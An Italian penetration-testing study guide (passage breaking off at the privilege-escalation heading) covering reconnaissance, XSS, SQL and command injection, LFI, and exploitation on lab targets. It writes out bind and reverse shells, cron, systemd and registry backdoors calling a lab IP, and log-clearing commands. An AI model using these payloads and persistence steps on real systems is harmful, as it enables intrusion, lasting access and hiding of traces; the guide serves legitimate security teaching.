Vulnerabilità e Fasi del Penetration Test

Guida allo studio per l'orale — dall'Information Gathering alla Post-Exploitation

Jonathan Colombo

6 novembre 2026

Indice

1 Premessa metodologica **3**
1.1 Le fasi del Penetration Testing . . . 3
1.2 Tipi di test: black, grey e white box . . . 3

2 Information Gathering (OSINT) **3**
2.1 Google Hacking / Google Dorks . . . 4
2.2 Google Cache e Wayback Machine . . . 4
2.3 Social media, annunci di lavoro, metadati . . . 4
2.4 WHOIS e interrogazione DNS . . . 4
2.5 Automazione e motori specializzati . . . 5

3 Network Scanning **5**
3.1 Scansione a livello 2 (ARP) e livello 3 (ICMP) . . . 5
3.2 TCP, UDP e TCP flags . . . 5
3.3 Tecniche di scansione a livello 4 . . . 6

4 Banner Grabbing e OS Fingerprinting **6**
4.1 Grabbing del banner HTTP e FTP . . . 6
4.2 OS fingerprinting: attivo vs passivo . . . 7

5 Enumeration **7**
5.1 NetBIOS / SAMBA . . . 7
5.2 SMTP, UserDir e credenziali di default . . . 7

6 Vulnerability Assessment — il cuore del corso **7**
6.1 Il concetto di Proof-of-Concept (PoC) . . . 8
6.2 Scanner automatici e loro limiti . . . 8
6.3 Vulnerabilità basata su CVE: Unreal IRCd (CVE-2010-2075) . . . 8
6.4 Vulnerabilità application-dependent: concetti base . . . 9
6.5 Cross-Site Scripting (XSS) . . . 9
6.6 Cross-application: Remote Command Execution (RCE) . . . 10
6.7 SQL Injection (SQLi) . . . 10
6.8 Local File Inclusion (LFI) e Path Traversal . . . 12
6.9 Altre vulnerabilità web citate . . . 12

7 Exploitation **12**
7.1 Definizioni . . . 12
7.2 Server-side exploitation . . . 13
7.3 Client-side exploitation . . . 13

8 Post-Exploitation **14**
8.1 Nascondere le tracce (log) 14
8.2 Host scanning locale 14
8.3 Persistenza 14
8.4 Privilege escalation 15
8.5 Mappatura della rete interna 15

9 Quadro riepilogativo delle vulnerabilità **16**

1 Premessa metodologica

Questo documento riassume, fase per fase, gli argomenti del corso a partire dalla fase di **Information Gathering**, con particolare profondità sulla fase di **Vulnerability Assessment**, che costituisce il cuore concettuale del corso. Per ogni vulnerabilità vengono forniti: definizione, meccanismo (causa radice), esempio pratico tra quelli usati a lezione, Proof-of-Concept (PoC), impatto e contromisure.

1.1 Le fasi del Penetration Testing

La metodologia professionale è astratta: framework diversi usano nomi diversi, ma condividono le stesse fasi concettuali. Le fasi non sono necessariamente lineari: durante la post-exploitation, ad esempio, l'intero processo si ripete ciclicamente su nuovi host.

1. **Information Gathering**: raccolta di informazioni sul target, tipicamente da fonti aperte (OSINT), senza interazione diretta con l'infrastruttura.
2. **Network Scanning**: mappatura di porte e servizi esposti. Qui inizia l'interazione diretta con il target, con rischio di rilevamento.
3. **Banner Grabbing / OS Fingerprinting**: identificazione del *tipo* e della *versione* dei servizi e del sistema operativo.
4. **Enumeration**: analisi dettagliata dei servizi individuati per estrarre informazioni specifiche (utenti, condivisioni, risorse).
5. **Vulnerability Assessment**: identificazione e conferma delle vulnerabilità tramite PoC (exploit minimali e innocui).
6. **Exploitation**: sfruttamento attivo delle vulnerabilità per ottenere accesso e valutare il *worst-case scenario*.
7. **Post-Exploitation**: stabilizzazione dell'accesso, escalation dei privilegi, raccolta dati, movimenti laterali.
8. **Final Report**: documento conclusivo con attività svolte, vulnerabilità e piano di remediation.

1.2 Tipi di test: black, grey e white box

- **Black box**: il tester non conosce dettagli dell'infrastruttura; dispone solo di informazioni pubbliche (es. il sito del cliente). È la prospettiva dell'attaccante reale.
- **White box**: il tester conosce tutte le informazioni della rete (es. è in contatto con un security engineer che conosce la struttura del sistema).
- **Grey box**: via di mezzo tra i due.

Osservazione chiave. Gli attaccanti reali operano tipicamente in *black box*, mentre i penetration tester lavorano spesso in *grey box*. Sovrastimare le capacità dell'attaccante è la scelta più prudente.

2 Information Gathering (OSINT)

Raccogliere informazioni significa investigare, analizzare e studiare tutto ciò che riguarda il target, partendo da fonti aperte (OSINT). La quantità di informazioni da raccogliere dipende dal tipo di business: per un'azienda di trasporti, ad esempio, si inizia da dipendenti, fornitori, relazioni commerciali, dati aziendali, ecc.

2.1 Google Hacking / Google Dorks

Google supporta un linguaggio di query ricco che consente ricerche mirate tramite operatori.

```
site:cnn.com              # pagine indicizzate relative al sito cnn.com
allintitle: gandalf magneto   # pagine con entrambe le parole nel titolo
inurl: home               # pagine che contengono "home" nella URL
filetype:pdf              # cerca formati di documento specifici (.pdf, .doc...)
```

Directory Listing. Tecnica che consiste nel trovare liste di cartelle e file di un sito mal configurato, con accesso a materiale sensibile che non dovrebbe essere divulgato.

```
intitle: index.of
intitle: index.of "parent directory"
inurl: backup            # possibili cartelle di backup
inurl: admin intitle: login   # possibili pagine di login amministrative
inurl: admin filetype: xls    # file .xls chiamati "admin"
```

Esiste un intero database di query pronte: la **Google Hacking Database** (su exploit-db.com). Nota: dopo molti tentativi Google può mostrare un captcha.

2.2 Google Cache e Wayback Machine

- **Google Cache**: mostra com'era una pagina all'ultima visita di Google; utile per recuperare dati modificati o rimossi successivamente. Query: `cache:www.website.com`, oppure servizi come CachedView.
- **Wayback Machine** (archive.org/web): archivio storico delle revisioni di un sito; versioni passate possono contenere documenti con dettagli utili poi rimossi.

2.3 Social media, annunci di lavoro, metadati

- **Social media**: gli account di aziende e dipendenti (LinkedIn, Facebook, Twitter) rivelano spesso molte informazioni pubblicate inconsapevolmente.
- **Annunci di lavoro**: un annuncio tecnico elenca spesso le tecnologie (e le versioni) usate dall'azienda, suggerendo da dove iniziare l'indagine.
- **Estrazione di metadati**: quasi ogni file contiene metadati (data, autore, modello di fotocamera, ecc.). Strumento tipico: **ExifTool**, che estrae e mostra i metadati di un file dalla riga di comando.

2.4 WHOIS e interrogazione DNS

- **WHOIS**: protocollo per identificare il provider e l'intestatario di un dominio o IP. Da riga di comando: `whois <dominio|IP>`; esistono anche interfacce web.
- **DNS**: `nslookup` chiede al DNS l'associazione hostname↔IP; su Linux `dig` consente interrogazioni più dettagliate.

Zone Transfer (AXFR). Consiste nel chiedere a un server DNS l'intero elenco dei suoi record. Serve a sincronizzare server primari e secondari, ma se non protetto espone l'intera mappa della rete (sottodomini, IP, servizi interni).

```
dig @192.168.2.10 company.local AXFR
```

Un AXFR non autorizzato può rivelare tutti i sottodomini e servizi interni; risposte voluminose possono inoltre essere sfruttate per attacchi DoS per amplificazione. Strumenti come `dnsrecon` automatizzano la raccolta, i tentativi di zone transfer e il brute-force dei sottodomini.

2.5 Automazione e motori specializzati

- **Maltego** e **Recon-ng**: automatizzano parzialmente l'OSINT. In Maltego si definiscono nodi di conoscenza (es. un dominio) e si eseguono operazioni predefinite (name resolution, blocco di IP, zone transfer) che estendono il nodo con sotto-nodi, costruendo un *albero di conoscenza*.
- **Shodan** (shodan.io): motore di ricerca che trova dispositivi esposti su Internet e relativi errori di configurazione; permette, ad esempio, di cercare dispositivi SCADA con web server esposto sulla porta 80.

3 Network Scanning

Dopo aver raccolto una lista di indirizzi IP, occorre scansionarli per identificare porte e servizi attivi. Un web server, ad esempio, avrà tipicamente in ascolto le porte 80/443. Esistono tecniche più o meno "silenziose".

Honeypot. Macchina deliberatamente vulnerabile, usata per attirare l'attaccante e registrarne le attività. Durante una scansione bisogna sempre considerare che il target possa essere un honeypot.

3.1 Scansione a livello 2 (ARP) e livello 3 (ICMP)

La rete può essere scansionata sia a livello data link sia a livello network.

- **Livello 2 (ARP)**: ha senso solo all'interno di una LAN, dove si lavora con MAC address e protocollo ARP. Strumento: `arping`.
- **Livello 3 (ICMP)**: fuori dalla LAN si usano gli IP, quindi la scansione sale al network layer. Nmap con l'opzione `-sn` esegue un *ping sweep* (host discovery senza port scan).

```
arping 192.168.122.200 -c 4 -I virbr0   # -c 4: 4 richieste; -I: interfaccia
nmap -sn 192.168.122.1-255              # host discovery su tutta la subnet
```

Poiché il traffico ARP è indispensabile alla connettività locale, raramente viene filtrato: le scansioni ARP sono quindi molto efficaci (più di quelle ICMP) in LAN.

3.2 TCP, UDP e TCP flags

Il livello 4 (trasporto) usa principalmente TCP (orientato alla connessione, affidabile) e UDP (connectionless, veloce ma senza garanzie). I sei **TCP flag** sono:

- **SYN**: 1 durante la sincronizzazione iniziale.
- **ACK**: 1 quando il campo Acknowledgment è valido.
- **RST**: 1 quando la connessione va resettata.
- **FIN**: 1 quando la connessione termina.
- **PSH**: 1 quando i dati vanno spinti subito all'application layer.
- **URG**: 1 quando il campo Urgent Pointer è impostato.

Three-way handshake. SYN e ACK sono i flag più importanti perché realizzano l'handshake a tre vie:

1. il Client invia un pacchetto con SYN;
2. il Server risponde con SYN + ACK;
3. il Client invia ACK: la connessione è stabilita.

3.3 Tecniche di scansione a livello 4

- **Connect scan** (`-sT`): completa l'intero three-way handshake. È affidabile ma **rumoroso** e facilmente rilevabile/loggabile.
- **SYN scan** (`-sS`): "half-open". L'attaccante invia SYN, riceve SYN+ACK e risponde con RST senza completare l'handshake. È relativamente **silenzioso** (un sistema che traccia le connessioni stabilite non lo registra), ma può comunque essere loggato; le connessioni abortite possono risultare più sospette di quelle riuscite. Spesso richiede privilegi di root.
- **UDP scan** (`-sU`): per servizi UDP (es. DNS su 53). Essendo UDP connectionless, *nessuna risposta* suggerisce porta aperta; un messaggio di errore ICMP indica porta chiusa/filtrata.

```
nmap -sT -v -p <porta> <IP>          # connect scan
nmap -sS -v -p <porta> <IP>          # SYN scan (half-open)
nmap -sU -v -p 53 192.168.122.200    # UDP scan sul DNS
nmap -sT -p1-1024 192.168.122.1-255  # tutti gli host, porte 1-1024
```

4 Banner Grabbing e OS Fingerprinting

Dopo aver trovato le porte aperte, si identifica il *tipo* e soprattutto la *versione* del servizio: una versione datata può essere vulnerabile. L'ambiente di pratica tipico è **Metasploitable 2** (macchina intenzionalmente vulnerabile di Rapid7).

4.1 Grabbing del banner HTTP e FTP

Si può aprire una connessione col servizio e leggerne il banner con `telnet` o `netcat`, sottomettendo metodi HTTP:

```
telnet <IP> 80
GET / HTTP/1.1
Host: 127.0.0.1

HEAD / HTTP/1.1      # recupera solo l'header HTTP
Host: 127.0.0.1
```

Per il servizio FTP, Nmap con `-sV` rileva la versione:

```
nmap -sV -p 21 <IP>     # rileva versione del server FTP (es. vsFTPd)
```

Offuscamento del banner. Un amministratore può nascondere il banner: per vsFTPd si edita `vsftpd.conf` decommentando e modificando la riga `ftpd_banner=...`. In tal caso Nmap vede la porta aperta ma non la versione.

Service probes di Nmap. Nmap riconosce i servizi tramite una lunga lista di *probe*: regole che indicano quale messaggio inviare e come interpretare l'output con espressioni regolari e capture group, ad esempio:

```
match ftp m|^220 \(vsFTPd ([-.\w]+)\)\r\n$|
  p/vsftpd/ v/$1/ o/Unix/ cpe:/a:vsftpd:vsftpd:$1/
```

4.2 OS fingerprinting: attivo vs passivo

- **Attivo**: si interagisce direttamente col target. Con Nmap: `nmap -O -v <IP>`. Altro strumento: `xprobe2`, che restituisce una lista di OS candidati con probabilità. La rilevazione non è sempre accurata (a lezione Nmap indicava kernel 2.6.32 mentre il reale era 4.15.0).
- **Passivo**: si osserva silenziosamente il traffico, senza interagire. Strumento: `p0f`. Funziona perché il traffico dei vari OS ha peculiarità dovute a valori di default: ad esempio il **TTL** di default è tipicamente 64 su Linux e 128 su Windows. Di solito richiede uno sniffer.

5 Enumeration

L'enumeration sfrutta le caratteristiche di un servizio per ottenere quante più informazioni possibile. Servizi che si prestano bene: SMTP (25), DNS (53), SNMP (161), NetBIOS (137/138 UDP, 139 TCP).

5.1 NetBIOS / SAMBA

NetBIOS opera al session layer e permette di esplorare risorse di rete (hostname, username, domini, workgroup, stampanti, cartelle condivise). Prima si confermano le porte aperte:

```
nmap -v -p 139,445 192.168.122.137
nbtscan -vh 192.168.122.137
nmap -sV -p139 192.168.122.137 --script nbstat.nse
```

Con un client SAMBA come `rpcclient` si elencano gli utenti (`enumdomusers`) e se ne ottengono i dettagli (`queryuser`). Uno strumento più potente è `enum4linux` (o `enum4linux-ng`), che enumera utenti, condivisioni, stampanti e rileva la versione di SAMBA in un'unica scansione.

5.2 SMTP, UserDir e credenziali di default

SMTP (porta 25). Permette comandi testabili via telnet: `HELO` (identificazione del client), `QUIT`, `DATA`, e soprattutto `VRFY` (verifica se un utente/mailbox esiste). Con una lista di username (da OSINT o liste pubbliche) si verificano rapidamente gli account validi. Metasploit ha un modulo dedicato.

UserDir (Apache mod_userdir). Le directory utente hanno la sintassi `www.site.com/~user`. La risposta del server rivela se l'utente esiste (es. 403) o no (es. 404). Nmap: script `http-userdir-enum`.

Credenziali di default. Router e switch hanno spesso password predefinite dal produttore, non sempre cambiate. Siti come *default-password.info* le raccolgono. La botnet **Mirai** infettò migliaia di dispositivi IoT provando appena 60 coppie di credenziali di default.

Enumeration tramite vulnerabilità. Username e dati critici sono spesso in un database: vulnerabilità come la SQL injection (sezione successiva) permettono di estrarli. Le fasi, ancora una volta, non sono lineari.

6 Vulnerability Assessment — il cuore del corso

Grazie a scanning, banner grabbing ed enumeration, a questo punto si ha una buona comprensione dei servizi in esecuzione. Il *vulnerability assessment* si occupa di **rilevare** le vulnerabilità; il penetration testing va oltre con exploitation e post-exploitation.

6.1 Il concetto di Proof-of-Concept (PoC)

Problema: come verificare che una vulnerabilità affligga davvero un sistema? Controllare la sola versione del software non basta (potrebbe essere stata patchata). La prova si fornisce tramite un **PoC exploit**: un exploit che sfrutta la vulnerabilità **restando innocuo** per il sistema vulnerabile e per quelli collegati.

Le vulnerabilità (esclusi gli 0-day) si trovano in tre modi:

1. automaticamente, con uno **vulnerability scanner**;
2. manualmente, sfruttando **database di vulnerabilità**;
3. manualmente, sfruttando **conoscenza di dominio**.

6.2 Scanner automatici e loro limiti

Scanner generici: **Nessus**, **Nexpose**, **OpenVAS**. Specializzati sul web: **OWASP ZAP**. In ambito web application OpenVAS può fornire anche una appliance virtuale pronta.

Concetto rilevante. Gli scanner automatici sono ottimi per il rilevamento "batch" di vulnerabilità comuni, ma vanno in difficoltà sui *corner case*. **In pentesting tutto ciò che è interessante è un corner case.** Scansionando WackoPicko uno scanner trova 3 vulnerabilità poco severe, mentre l'applicazione ne soffre 16 molto severe. I motivi del limite sono due:

1. il rilevamento si basa su PoC che nei casi reali richiedono personalizzazioni;
2. alcune vulnerabilità sono *application-dependent* (es. stored XSS).

Database di riferimento. Exploit Database (con il tool CLI `searchsploit`), CVE Details, Mitre CVE, NIST NVD, Security Focus, Packet Storm. Per le *weakness* (software custom): Mitre **CWE** e **OWASP Top 10**.

6.3 Vulnerabilità basata su CVE: Unreal IRCd (CVE-2010-2075)

Target: un server Unreal IRC in ascolto sulla porta 6667 (su Metasploitable 2, versione 3.2.8.1). Dopo aver afferrato il banner (con `nmap` o un client IRC come `irssi`), una ricerca porta a CVE-2010-2075:

> "UnrealIRCd 3.2.8.1 [...] contains a [...] Trojan Horse [...] which allows remote attackers to execute arbitrary commands."

Si tratta di una **Remote Code Execution**. L'attaccante può eseguire un comando `<CMD>` con il payload:

```
AB; <CMD>;
```

Problema diagnostico. Né Nmap né OpenVAS confermano con certezza la vulnerabilità (OpenVAS: Quality of Detection 70%), perché **nessun output viene restituito all'attaccante**. Servono quindi PoC che rendano osservabile l'effetto:

- **PoC #1**: far connettere Metasploitable al nostro host (effetto osservabile dall'esterno).
- **PoC #2**: forzare un effetto collaterale osservabile (*blind injection*).

Il PoC deve restare innocuo.

6.4 Vulnerabilità application-dependent: concetti base

Le vulnerabilità del software custom (es. il sito di un'azienda) difficilmente compaiono nei CVE e sono quindi molto difficili da rilevare per i tool automatici. La maggior parte delle vulnerabilità di interesse appartiene a questa categoria: **il penetration testing è in gran parte un processo manuale.**

Due concetti trasversali, soprattutto nel black-box testing:

- **Context**: il punto del documento HTML in cui finisce l'input dell'utente, es. `<tag>INPUT</tag>` rispetto a `<tag attr='INPUT'>`. Il context cambia il PoC necessario.
- **Tainted flow**: un campo in cui l'attaccante può iniettare dati è detto *tainted*; il flusso va da una sorgente (il campo) a una destinazione (il context). Un tainted flow è condizione **necessaria ma non sufficiente** per molte vulnerabilità (es. XSS). Per evidenziarlo basta inserire un testo distinguibile, es. `tainted-if-you-see-this`, e cercarlo nella pagina.

XSS e SQL injection sono entrambe causate dallo stesso tipo di bug: **validazione dell'input scorretta**.

6.5 Cross-Site Scripting (XSS)

Definizione. L'XSS consente all'attaccante di iniettare codice eseguibile (tipicamente JavaScript) in una pagina web vulnerabile. L'iniezione avviene su un campo mal sanificato. Il PoC tradizionale è:

```
<script>alert(1)</script>
```

Esempio del meccanismo (PHP). Un campo `name` stampato senza sanificazione:

```
<?php
if(!array_key_exists("name", $_GET)
   || $_GET['name'] == NULL
   || $_GET['name'] == '')
{ $isempty = true; }
else
{ echo '<pre>';
  echo 'Hello ' . $_GET['name'];
  echo '</pre>'; }
?>
```

Tipi di XSS.

- **Reflected (non-persistente)**: l'applicazione rende l'input dell'utente nella pagina corrente (es. campo *search*).
- **Stored (persistente)**: l'applicazione memorizza l'input e lo rende in una pagina diversa (es. i commenti). È più pericolosa perché persistente e colpisce gli utenti.

Perché è difficile da rilevare automaticamente. L'input può passare per una sanificazione (es. filtro di `<script>`), il flusso dell'input è arbitrariamente complesso e possono servire PoC di tipo diverso.

Esempio pratico (DVWA, reflected, livello medium). Se `<script>` è filtrato, si usa un altro tag che esegue JavaScript su un evento. Il tag `<img>` carica un'immagine da una URL e, in caso di errore, esegue il codice di `onerror`:

```
<img src='x' onerror=alert(1)>
```

Molti tag permettono di associare un comportamento a un evento (es. `onload`, `onmouseover`).

Stored XSS e tainted flow (WackoPicko). Nello stored XSS iniezione ed exploit avvengono in momenti (e spesso pagine) diversi: 1) si inietta il campo username/commento; 2) si osserva l'effetto al ricaricamento della pagina. Individuare i tainted flow aiuta a trovare percorsi vulnerabili che i tool automatici non rilevano, lo stored XSS tra questi.

Impatto. Furto di sessione (lettura di `document.cookie`), esecuzione di azioni per conto della vittima, phishing in-pagina, redirect; con una vittima amministratore, compromissione del pannello. L'XSS è anche il punto di partenza per il client-side hooking (es. con BeEF, sezione Exploitation).

Contromisure. Output encoding contestuale, Content Security Policy (CSP), flag `HttpOnly` sui cookie (il cookie non è leggibile da JavaScript), validazione/whitelist come difesa aggiuntiva.

6.6 Cross-application: Remote Command Execution (RCE)

Definizione. Molte applicazioni ne invocano altre tramite API (binding, native call, callback). Se una chiamata API è *tainted* da input dell'attaccante, può essere sfruttata. Il bug nasce tipicamente da un fraintendimento della specifica dell'API. Esempio PHP:

```
shell_exec($cmd)
```

Se `$cmd` è tainted e lo sviluppatore non lo sanifica correttamente, l'attaccante può eseguire comandi di sistema. La **Remote Command Execution è probabilmente la vulnerabilità più severa**, perché inietta comandi direttamente nel sistema sottostante (analogamente a `eval` in JavaScript).

Esempio pratico (DVWA, Command Injection). A lezione si esegue un PoC per la Command Execution a livello *low* e poi a livello *medium*. La sanificazione può essere subdola: a volte blocca alcuni exploit ma non tutti (corner case), come già visto per l'XSS; trovare il PoC giusto può essere difficile o persino impossibile sotto certe assunzioni.

Contromisure. Evitare di passare input a funzioni di esecuzione comandi; usare API sicure/argomenti parametrizzati; whitelist rigorosa; principio del minimo privilegio per il processo.

6.7 SQL Injection (SQLi)

Definizione. La SQLi avviene quando l'attaccante può eseguire query SQL inattese. Altri sistemi di query possono essere analogamente vulnerabili (NoSQL injection). Esempio di codice vulnerabile:

```
$usr = $_GET['user'];
$pwd = $_GET['password'];
$query =
  "SELECT * FROM users WHERE user = '$usr' AND pass = '$pwd'";
$result = mysql_query($query);
```

PoC osservabili (devono essere innocui). La manipolazione della query si osserva via messaggi di errore, output inatteso o flussi di controllo anomali.

```
# PoC #1 - Parse Error:  $usr = '
"SELECT * FROM users WHERE user = ''' AND pass = '...'";

# PoC #2 - Query Forging: $usr = ' OR True #
"SELECT * FROM users WHERE user = '' OR True #' AND ...";
```

Il PoC #2 è un *query forging*: la condizione diventa sempre vera e `#` commenta il resto della query. Il carattere a sinistra dell'`OR` è irrilevante: basta che un operando dell'`OR` sia vero perché l'intera condizione sia vera.

Estrazione di dati con UNION. Sfruttando la ricchezza sintattica di SQL si possono forgiare query che leggono dal database:

```
' UNION SELECT user(), version() #
```

(Q1: come sappiamo che ci sono 2 campi? Q2: come mostrare 3+ output in 2 campi? — tramite `CONCAT` e riempimento con `NULL`.)

Blind SQL Injection. Quando nessun dato viene stampato, si usa il **comportamento osservabile** per inferire l'informazione (1 bit per query). Primo passo: stabilire una *baseline* (verità di riferimento):

```
' OR True  #   -> es. causa un redirect ad un'altra pagina
' OR False #   -> es. mostra un messaggio
```

Si inferiscono poi fatti sullo schema interrogando `INFORMATION_SCHEMA`:

```
' OR (EXISTS (SELECT * FROM INFORMATION_SCHEMA.TABLES
      WHERE TABLE_NAME = 'people')) #
# redirect  -> la tabella 'people' esiste

' OR (EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS
      WHERE TABLE_NAME = 'people' AND COLUMN_NAME = 'user')) #
# messaggio -> 'people' non ha la colonna 'user'
```

Da 1 bit a dati complessi: ricerca binaria. Un bit per query basta: implementa una ricerca binaria. Per estrarre il primo carattere del login del primo utente:

```
' OR ((SELECT ORD(MID((SELECT login FROM users LIMIT 1),1,1))) <= ORD('m')) #
' OR ((SELECT ORD(MID((SELECT login FROM users LIMIT 1),1,1))) <= ORD('g')) #
' OR ((SELECT ORD(MID((SELECT login FROM users LIMIT 1),1,1))) <= ORD('c')) #
' OR ((SELECT ORD(MID((SELECT login FROM users LIMIT 1),1,1))) <= ORD('a')) #
# -> la prima lettera e' 'b'
```

Si itera poi sulle posizioni successive, dimezzando ogni volta l'intervallo dei caratteri candidati.

Funzioni/operatori SQL utili (MySQL).

- `MID`: estrae una sottostringa.
- `ORD`: intero ASCII del primo carattere (come `ASCII()`).
- `SLEEP`: attende un intervallo (utile per blind SQLi *time-based*).
- `BENCHMARK`: ripete una query molte volte (causa ritardo come `SLEEP`).
- `LIMIT`: limita i record restituiti.
- `LIKE`: sostituisce `=` se filtrato (es. `'1' LIKE '1'`).
- `CONCAT`: concatena stringhe; `NULL`: riempie colonne inutili.

Dialetti SQL. Gli operatori sopra sono per MySQL; SQL è solo in parte standardizzato (es. SQL Server usa `WAITFOR` invece di `SLEEP`). Fare banner grabbing per conoscere il DBMS effettivo.

Contromisure. Prepared statement / query parametrizzate (difesa principale: il valore è separato dalla struttura della query), ORM con binding, minimo privilegio sul DB, validazione come difesa aggiuntiva.

6.8 Local File Inclusion (LFI) e Path Traversal

Definizione. Alcune applicazioni caricano dati dal filesystem in modo parametrico (es. il contenuto di una cartella/file associato a un utente). Se l'attaccante controlla il parametro, può forzare il caricamento di altri elementi. Esempio:

```
<?php
$file = $_GET['file'];
include($file);
?>
```

Il parametro `file` controlla la `include`, consentendo anche di muoversi nell'intero filesystem (**path traversal**).

Esempio pratico (DVWA, low). Stampare il contenuto di `/etc/passwd` fornendo tale percorso come parametro. (Nota di collegamento: poiché `include` *esegue* i file PHP, per leggere il *sorgente* PHP senza eseguirlo si usa il wrapper `php://filter/convert.base64-encode/resource=...`, che trasforma il contenuto in base64 rendendolo non eseguibile.)

Contromisure. Whitelist dei file includibili (mappare l'input a identificatori astratti), mai passare input diretto a `include`/`require`, `open_basedir`, disabilitare wrapper non necessari.

6.9 Altre vulnerabilità web citate

- **Remote File Inclusion (RFI)**: carica ed esegue un file da un server remoto (richiede `allow_url_include=On`).
- **Cross-Site Request Forgery (CSRF)**: abusa del ruolo/sessione dell'utente durante le richieste.
- **TOCTOU / data race**: accesso inconsistente durante esecuzioni parallele (Time-Of-Check to Time-Of-Use).

Considerazioni finali. Le vulnerabilità possono essere ovunque; alcune si prendono dai repository e si testano con tool, molte altre vanno trovate manualmente. Bisogna essere pronti a imparare nuove tecnologie al volo.

7 Exploitation

La vulnerability assessment scopre *se* una vulnerabilità esiste (PoC). L'exploitation verifica *se e quanto* è realmente sfruttabile: serve a capire cosa può essere compromesso e in che misura.

7.1 Definizioni

- **Exploit**: sequenza di operazioni dell'attaccante che (1) sfrutta vulnerabilità esistenti e (2) causa un effetto desiderato. A differenza del PoC (che ha sempre lo stesso effetto, cioè rivelare la falla), un exploit completo può avere molti effetti diversi. Esempio: *privilege escalation* (da guest a root).
- **Attacco**: sequenza di exploit per raggiungere un obiettivo finale (es. *data exfiltration*). Può richiedere più exploit per scalare privilegi o conquistare nuovi dispositivi: questi passaggi sono i **movimenti laterali**.

- **Strategia d'attacco**: in black box, tipicamente un *albero di decisione* dove il passo successivo dipende dagli esiti dei precedenti. Comprendere skill e tool usati è fondamentale per l'*attribution* (es. ad APT).

Due famiglie: exploit **server-side** e **client-side**.

7.2 Server-side exploitation

Colpiscono una macchina remota che espone servizi (l'attaccante è il client). Le vittime sono organizzazioni e infrastrutture. Acquisite nuove capacità/privilegi, l'attaccante avanza nell'infrastruttura ripetendo le fasi precedenti usando l'host compromesso: questo è il **pivoting**.

Spawn di una shell remota. L'operazione più generica è aprire una shell remota per interagire direttamente con l'OS, bypassando la vulnerabilità iniziale (che potrebbe sparire per una fix o un cambio di policy del firewall) e aiutando la persistenza.

Bind shell (netcat). Si lega un servizio remoto a una shell e ci si connette:

```
# sul target: avvia un servizio sulla porta PORT legato a una shell
nc -l -p [PORT] -e /bin/sh
# dalla macchina attaccante:
nc [IP] [PORT]
```

Varianti (quando mancano opzioni o per redirigere stderr):

```
nc [IP] [PORT] -c "/bin/sh 2>&1"
nc [IP] [PORT] | /bin/sh 2>&1 | nc [IP] [PORT+1]
mkfifo /tmp/pipe; cat /tmp/pipe | nc [IP] [PORT] | /bin/sh &>/tmp/pipe; rm /tmp/pipe
```

Reverse shell. I firewall reali bloccano quasi tutte le connessioni in ingresso, ma spesso non quelle in uscita (gli host devono usare Internet): si attacca allora la shell a un netcat che si connette verso l'attaccante.

```
# reverse shell con bash
bash -c "bash &>/dev/tcp/[IP]/[PORT] <&1"
# aprire una shell tramite interprete esistente
python -c "import pty; pty.spawn('/bin/bash')"
```

Se si possono modificare sorgenti PHP, si può creare una pagina con un campo di testo e `shell_exec()`. Conviene esplorare il software installato sul target.

Esempio pratico. A lezione: DVWA standalone (immagine Docker `vulnerables/web-dvwa`) in DMZ; si usa la Command Injection (low) per lanciare netcat e ottenere una shell, poi si verifica il proprio `id`. Riconfigurando il firewall per consentire da WAN solo HTTP(S), la bind shell smette di funzionare, motivando la reverse shell.

7.3 Client-side exploitation

Colpisce i singoli client (l'attaccante è il servizio); le vittime possono essere individui o organizzazioni. Spesso si basa su social engineering (phishing, spear phishing). La vittima, inconsapevolmente, scatena l'attacco e stabilisce la connessione con la macchina attaccante. Vettori: eseguibili malevoli, email/siti di phishing, documenti con macro, malware fileless. Più semplice è l'azione richiesta (es. un clic), più forte l'attacco; idealmente nessuna interazione.

BeEF (Browser Exploitation Framework). Si concentra sull'exploitation del browser, il principale bersaglio client-side. Inietta nel browser della vittima un *hook* JavaScript (`hook.js`) e offre all'attaccante API scriptabili e un pannello di controllo. L'iniezione può avvenire via pagina malevola o via XSS, ingannando la vittima a aprire una URL iniettata (es. reflected XSS di WackoPicko):

```
http://<target>/pictures/search.php?query=<script src="[BeEF-Server]/hook.js"></script>
```

Lo stored XSS può veicolare `hook.js` a tutti i visitatori. BeEF ha moduli per browser, host, network, exploit, persistence, social engineering, keylogging e redirect.

Meterpreter. Payload di Metasploit per client-side exploitation. Risiede interamente in memoria (**fileless**) e inietta dinamicamente DLL (caricate/scaricate al bisogno). Gira su Windows, Linux, macOS, Android, iOS.

Android. Gli smartphone sono bersagli ideali (risorse, sensori, mobilità). A lezione: dopo aver agganciato il browser Android con BeEF (combinando XSS e spear phishing), si rilascia un payload APK di Meterpreter per uscire dalla sandbox del browser e operare a livello OS.

8 Post-Exploitation

Dopo la compromissione di un host, le attività principali sono: privilege escalation, mantenimento dell'accesso, raccolta dati e il processo **ciclico** di scanning/exploitation verso nuovi host (network scanning, banner grabbing, enumeration, vulnerability assessment, exploitation, post-exploitation).

8.1 Nascondere le tracce (log)

Molti sistemi registrano le sessioni passate: vanno individuati e ripuliti (a volte solo parzialmente).

```
history -c                 # shell Unix: cancella la history
# oppure editare direttamente ~/.bash_history
Clear-History -ID <range>  # PowerShell
```

8.2 Host scanning locale

Con una shell si cercano file interessanti, misconfigurazioni e impostazioni sfruttabili. Con una sessione Meterpreter esiste un modulo dedicato:

```
post/multi/recon/local_exploit_suggester
```

8.3 Persistenza

Una sessione può chiudersi (riavvio, crash, chiusura dell'applicazione). Conviene prima migrare verso un processo più stabile, poi garantire la persistenza.

Process migration (Windows). Si migra il PID verso un processo meno sospetto. È implementata con operazioni privilegiate di basso livello (riscrittura memoria, debugging di processo), quindi richiede permessi elevati (Administrator) e non è perfettamente stealth.

Cronjob (Linux). Comandi eseguiti a intervalli, dichiarati in `/etc/crontab`. Reverse shell ogni minuto:

```
* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.122.1/31337 0>&1'
```

Servizio systemd. Avvia una reverse shell periodicamente o al boot:

```
# /etc/systemd/system/backdoor.service
[Service]
Type=simple
ExecStart=/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.122.1/31337 0>&1'
[Install]
WantedBy=multi-user.target
# poi:
systemctl enable backdoor
```

Registro di Windows (autorun). Gli eseguibili sotto la chiave Run partono al boot:

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

upload nc.exe c:\windows\system32
reg setval -k HKLM\software\microsoft\windows\currentversion\run
  -v nc -d 'c:\windows\system32\nc.exe 192.168.122.1 4445 -e cmd.exe'
```

Metasploit: modulo `exploit/windows/local/registry_persistence`.

8.4 Privilege escalation

